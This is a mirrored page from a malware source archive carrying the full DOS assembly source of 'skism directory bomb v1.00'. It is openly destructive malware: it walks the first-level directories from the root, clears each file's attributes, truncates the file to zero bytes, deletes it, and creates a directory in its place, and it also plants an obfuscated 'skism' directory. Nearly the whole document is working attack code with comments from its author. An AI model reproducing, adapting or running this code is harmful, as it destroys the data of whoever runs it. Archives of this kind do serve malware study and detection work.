mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
190 lines
5.5 KiB
NASM
190 lines
5.5 KiB
NASM
|
;skism directory bomb v1.00
|
|||
|
|
|
|||
|
|
;written by hellraiser
|
|||
|
|
|
|||
|
|
;this is a lame bomb consisting of repetative/error full code
|
|||
|
|
;but it gets the job done
|
|||
|
|
;when run this program will start at the first directory from the root
|
|||
|
|
;and trash all files in first level directorys
|
|||
|
|
;then create a directory in place of the distroyed file name
|
|||
|
|
|
|||
|
|
;it will also create a semi-removable directory called skism
|
|||
|
|
|
|||
|
|
;yes bombs are very lame, and be advised, this is the only bomb
|
|||
|
|
;skism shall ever write... but we must try everything once
|
|||
|
|
|
|||
|
|
;be warned, the tech used by this program does not only erase files but
|
|||
|
|
;it will also truncate them to 0 bytes, the skism method.
|
|||
|
|
|
|||
|
|
code segment 'code'
|
|||
|
|
assume cs:code,ds:code,es:code
|
|||
|
|
org 0100h
|
|||
|
|
|
|||
|
|
main proc near
|
|||
|
|
|
|||
|
|
jmp start
|
|||
|
|
|
|||
|
|
|
|||
|
|
thestoppa db 1ah ;EOF char to stop TYPE command
|
|||
|
|
filecards db '*.*',0 ;wildcards for files
|
|||
|
|
dircards db '*',0 ;wildcards for directorys
|
|||
|
|
root db '\',0 ;root directory path
|
|||
|
|
default db 64 DUP (?) ;buffer to hold current dir
|
|||
|
|
dirdta db 43 DUP (?) ;DTA for dirs
|
|||
|
|
filedta db 43 DUP (?) ;DTA for files
|
|||
|
|
dseg dw ? ;holds old dir DTA segment
|
|||
|
|
dofs dw ? ;holds old dir DTA segment
|
|||
|
|
|
|||
|
|
start:
|
|||
|
|
|
|||
|
|
mov di,offset vl ;decrypt skism string
|
|||
|
|
mov si,offset vl ;
|
|||
|
|
mov cx,09h ;
|
|||
|
|
|
|||
|
|
cld ;
|
|||
|
|
|
|||
|
|
repeat:
|
|||
|
|
|
|||
|
|
lodsb ;
|
|||
|
|
xor al,92h ;
|
|||
|
|
stosb ;
|
|||
|
|
dec cx ;
|
|||
|
|
jcxz bombstart ;
|
|||
|
|
jmp repeat ;
|
|||
|
|
|
|||
|
|
bombstart:
|
|||
|
|
|
|||
|
|
mov dx,offset dirdta ;set DTA to hold directorys
|
|||
|
|
mov ah,1ah ;DOS set DTA function
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov ah,19h ;get drive code
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov dl,al ;save drive code into dl
|
|||
|
|
inc dl ;translate for function 3bh
|
|||
|
|
|
|||
|
|
mov ah,47h ;save current dir
|
|||
|
|
mov si, offset default ;save current dir into buffer
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov dx,offset root ;change dir to root
|
|||
|
|
mov ah,3bh ;
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov cx,13h ;find directorys
|
|||
|
|
mov dx,offset dircards ;find only directorys
|
|||
|
|
mov ah,4eh ;find first file
|
|||
|
|
|
|||
|
|
scanloop:
|
|||
|
|
|
|||
|
|
int 21h ;
|
|||
|
|
jc quit ;quit if no more dirs/error
|
|||
|
|
|
|||
|
|
jmp changedir ;change to that dir
|
|||
|
|
|
|||
|
|
findnextdir:
|
|||
|
|
|
|||
|
|
mov ah,4fh ;find next directory
|
|||
|
|
mov dx,offset dircards ;
|
|||
|
|
jmp scanloop
|
|||
|
|
|
|||
|
|
changedir:
|
|||
|
|
|
|||
|
|
mov dx,offset dirdta + 30 ;point to dir name in DTA
|
|||
|
|
mov ah,3bh ;change directory
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
smash:
|
|||
|
|
|
|||
|
|
mov ah,2fh ;
|
|||
|
|
int 21h ;
|
|||
|
|
mov [dseg],es ;save dir DTA segemnt
|
|||
|
|
mov [dofs],bx ;and offset
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov dx,offset filedta ;use file DTA as new DTA
|
|||
|
|
mov ah,1ah ;
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov cx,0007h ;find flat attributes
|
|||
|
|
mov dx,offset filecards ;point to '*.*',0 wildcard spec
|
|||
|
|
mov ah,4eh ;find first file
|
|||
|
|
|
|||
|
|
filescanloop:
|
|||
|
|
|
|||
|
|
int 21h ;
|
|||
|
|
jc done ;quit on error/no files found
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov ax,4301h ;clear files attributes
|
|||
|
|
xor cx,cx ;
|
|||
|
|
mov dx, offset filedta + 30 ;
|
|||
|
|
int 21h ;
|
|||
|
|
jc quit
|
|||
|
|
|
|||
|
|
mov ah,3ch ;truncate file
|
|||
|
|
int 21h
|
|||
|
|
jc quit
|
|||
|
|
|
|||
|
|
mov bx,ax ;save handle
|
|||
|
|
|
|||
|
|
jc done
|
|||
|
|
|
|||
|
|
mov ah,41h ;erase file
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov ah,3eh ;close file
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov ah,39h ;make directory in place of file
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov ah,4fh ;find next
|
|||
|
|
jmp filescanloop
|
|||
|
|
|
|||
|
|
done:
|
|||
|
|
|
|||
|
|
mov ah,1ah ;restore directory DTA
|
|||
|
|
mov ds,[dseg] ;
|
|||
|
|
mov dx,[dofs] ;
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov dx,offset root ;change dir to root
|
|||
|
|
mov ah,3bh ;
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
jmp findnextdir
|
|||
|
|
|
|||
|
|
|
|||
|
|
quit:
|
|||
|
|
|
|||
|
|
mov ah,3bh
|
|||
|
|
mov dx,offset root ;change to root
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,39h
|
|||
|
|
mov dx,offset vl
|
|||
|
|
int 21h
|
|||
|
|
jc restore
|
|||
|
|
|
|||
|
|
restore:
|
|||
|
|
|
|||
|
|
mov dx,offset default ;restore original directory
|
|||
|
|
mov ah,3bh ;
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
mov ah,4ch ;
|
|||
|
|
int 21h ;
|
|||
|
|
|
|||
|
|
vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0
|
|||
|
|
|
|||
|
|
filler db 28 dup(1ah)
|
|||
|
|
|
|||
|
|
main endp
|
|||
|
|
code ends
|
|||
|
|
end main
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|